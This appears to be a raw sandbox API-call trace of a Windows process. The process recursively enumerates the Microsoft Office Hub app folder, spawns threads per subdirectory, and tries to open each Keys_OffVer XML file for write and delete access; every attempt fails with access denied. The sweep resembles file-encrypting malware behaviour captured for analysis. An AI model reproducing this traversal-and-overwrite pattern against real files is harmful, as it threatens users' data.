	[0082.887] wcscat (in: _Dest=0x2d8a108, _Source="ProgramFilesCommonX64" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\ProgramFilesCommonX64") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\ProgramFilesCommonX64"
	[0089.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d8a108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16cc
	[0089.798] FindNextFileW (in: hFindFile=0x2dacbb8, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x662a39a5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadd7feb3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x663ae9ff, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x0, cFileName="SystemX64", cAlternateFileName="SYSTEM~1")) returned 1
	[0089.798] wcscmp (_String1="SystemX64", _String2=".") returned 1
	[0089.798] wcscmp (_String1="SystemX64", _String2="..") returned 1
	[0089.798] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x2e448a0
	[0089.798] wcscpy (in: _Dest=0x2e448a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS"
	[0089.798] wcscat (in: _Dest=0x2e448a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\"
	[0089.798] wcscat (in: _Dest=0x2e448a0, _Source="SystemX64" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\SystemX64") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\VFS\\SystemX64"
	[0089.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e448a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eb0
	[0089.799] FindNextFileW (in: hFindFile=0x2dacbb8, lpFindFileData=0x2db80f8 | out: lpFindFileData=0x2db80f8*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x662a39a5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xadd7feb3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x663ae9ff, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x0, cFileName="SystemX64", cAlternateFileName="SYSTEM~1")) returned 0
	[0089.799] FindClose (in: hFindFile=0x2dacbb8 | out: hFindFile=0x2dacbb8) returned 1
	[0089.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db80f8) returned 1
	[0089.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c9e00) returned 1
	[0089.799] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2a448) returned 1

Thread:
	id = 512
	os_tid = 0x1728

	[0077.420] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e440c0
	[0077.420] wcscpy (in: _Dest=0x2e440c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys"
	[0077.420] wcscat (in: _Dest=0x2e440c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\"
	[0077.420] wcscat (in: _Dest=0x2e440c0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\*"
	[0077.420] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2db8360
	[0077.420] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\*", lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x663d4c5d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabd372f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6644736d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7590
	[0081.998] wcscmp (_String1=".", _String2=".") returned 0
	[0081.998] FindNextFileW (in: hFindFile=0x46a7590, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x663d4c5d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabd372f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6644736d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.998] wcscmp (_String1="..", _String2=".") returned 1
	[0081.998] wcscmp (_String1="..", _String2="..") returned 0
	[0081.998] FindNextFileW (in: hFindFile=0x46a7590, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x663d4c5d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x663faeb6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x663faeb6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4d695, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys_OffVer11.xml", cAlternateFileName="")) returned 1
	[0081.998] wcscmp (_String1="Keys_OffVer11.xml", _String2=".") returned 1
	[0081.998] wcscmp (_String1="Keys_OffVer11.xml", _String2="..") returned 1
	[0081.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4766d10
	[0081.998] wcscpy (in: _Dest=0x4766d10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys"
	[0081.998] wcscat (in: _Dest=0x4766d10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\"
	[0081.998] wcscat (in: _Dest=0x4766d10, _Source="Keys_OffVer11.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer11.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer11.xml"
	[0091.670] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer11.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver11.xml")) returned 0x20
	[0091.672] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer11.xml", dwFileAttributes=0x20) returned 0
	[0091.672] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer11.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver11.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.672] GetLastError () returned 0x5
	[0091.672] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer11.xml", dwFileAttributes=0x20) returned 0
	[0091.672] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766d10) returned 1
	[0091.672] FindNextFileW (in: hFindFile=0x46a7590, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x663faeb6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x66421114, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x66421114, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x275b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys_OffVer12.xml", cAlternateFileName="")) returned 1
	[0091.673] wcscmp (_String1="Keys_OffVer12.xml", _String2=".") returned 1
	[0091.673] wcscmp (_String1="Keys_OffVer12.xml", _String2="..") returned 1
	[0091.673] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4776760
	[0091.673] wcscpy (in: _Dest=0x4776760, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys"
	[0091.673] wcscat (in: _Dest=0x4776760, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\"
	[0091.673] wcscat (in: _Dest=0x4776760, _Source="Keys_OffVer12.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer12.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer12.xml"
	[0091.673] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer12.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver12.xml")) returned 0x20
	[0091.677] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer12.xml", dwFileAttributes=0x20) returned 0
	[0091.677] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer12.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver12.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.677] GetLastError () returned 0x5
	[0091.677] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer12.xml", dwFileAttributes=0x20) returned 0
	[0091.677] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776760) returned 1
	[0091.677] FindNextFileW (in: hFindFile=0x46a7590, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66421114, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x66421114, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x66421114, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4d89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys_OffVer14.xml", cAlternateFileName="")) returned 1
	[0091.678] wcscmp (_String1="Keys_OffVer14.xml", _String2=".") returned 1
	[0091.678] wcscmp (_String1="Keys_OffVer14.xml", _String2="..") returned 1
	[0091.678] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778260
	[0091.678] wcscpy (in: _Dest=0x4778260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys"
	[0091.678] wcscat (in: _Dest=0x4778260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\"
	[0091.678] wcscat (in: _Dest=0x4778260, _Source="Keys_OffVer14.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer14.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer14.xml"
	[0091.678] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer14.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver14.xml")) returned 0x20
	[0091.678] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer14.xml", dwFileAttributes=0x20) returned 0
	[0091.678] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer14.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver14.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.678] GetLastError () returned 0x5
	[0091.678] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer14.xml", dwFileAttributes=0x20) returned 0
	[0091.678] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778260) returned 1
	[0091.678] FindNextFileW (in: hFindFile=0x46a7590, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66421114, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x66421114, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x66421114, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys_OffVer15.xml", cAlternateFileName="")) returned 1
	[0091.678] wcscmp (_String1="Keys_OffVer15.xml", _String2=".") returned 1
	[0091.678] wcscmp (_String1="Keys_OffVer15.xml", _String2="..") returned 1
	[0091.678] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4776b60
	[0091.678] wcscpy (in: _Dest=0x4776b60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys"
	[0091.678] wcscat (in: _Dest=0x4776b60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\"
	[0091.678] wcscat (in: _Dest=0x4776b60, _Source="Keys_OffVer15.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer15.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer15.xml"
	[0091.678] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer15.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver15.xml")) returned 0x20
	[0091.679] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer15.xml", dwFileAttributes=0x20) returned 0
	[0091.679] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer15.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver15.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.679] GetLastError () returned 0x5
	[0091.679] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer15.xml", dwFileAttributes=0x20) returned 0
	[0091.679] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776b60) returned 1
	[0091.679] FindNextFileW (in: hFindFile=0x46a7590, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66421114, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x66421114, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x66421114, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x67ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys_OffVer16.xml", cAlternateFileName="")) returned 1
	[0091.679] wcscmp (_String1="Keys_OffVer16.xml", _String2=".") returned 1
	[0091.679] wcscmp (_String1="Keys_OffVer16.xml", _String2="..") returned 1
	[0091.679] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778260
	[0091.679] wcscpy (in: _Dest=0x4778260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys"
	[0091.679] wcscat (in: _Dest=0x4778260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\"
	[0091.679] wcscat (in: _Dest=0x4778260, _Source="Keys_OffVer16.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer16.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer16.xml"
	[0091.679] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer16.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver16.xml")) returned 0x20
	[0091.679] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer16.xml", dwFileAttributes=0x20) returned 0
	[0091.679] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer16.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver16.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.679] GetLastError () returned 0x5
	[0091.679] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer16.xml", dwFileAttributes=0x20) returned 0
	[0091.680] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778260) returned 1
	[0091.680] FindNextFileW (in: hFindFile=0x46a7590, lpFindFileData=0x2db8360 | out: lpFindFileData=0x2db8360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66421114, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x6644736d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x6644736d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x140b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Keys_OffVer365.xml", cAlternateFileName="")) returned 1
	[0091.680] wcscmp (_String1="Keys_OffVer365.xml", _String2=".") returned 1
	[0091.680] wcscmp (_String1="Keys_OffVer365.xml", _String2="..") returned 1
	[0091.680] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778260
	[0091.680] wcscpy (in: _Dest=0x4778260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys"
	[0091.680] wcscat (in: _Dest=0x4778260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\"
	[0091.680] wcscat (in: _Dest=0x4778260, _Source="Keys_OffVer365.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer365.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer365.xml"
	[0091.680] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer365.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe\\xmloffkeys\\keys_offver365.xml")) returned 0x20
	[0091.681] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe\\XMLOffKeys\\Keys_OffVer365.xml", dwFileAttributes=0x20) returned 0
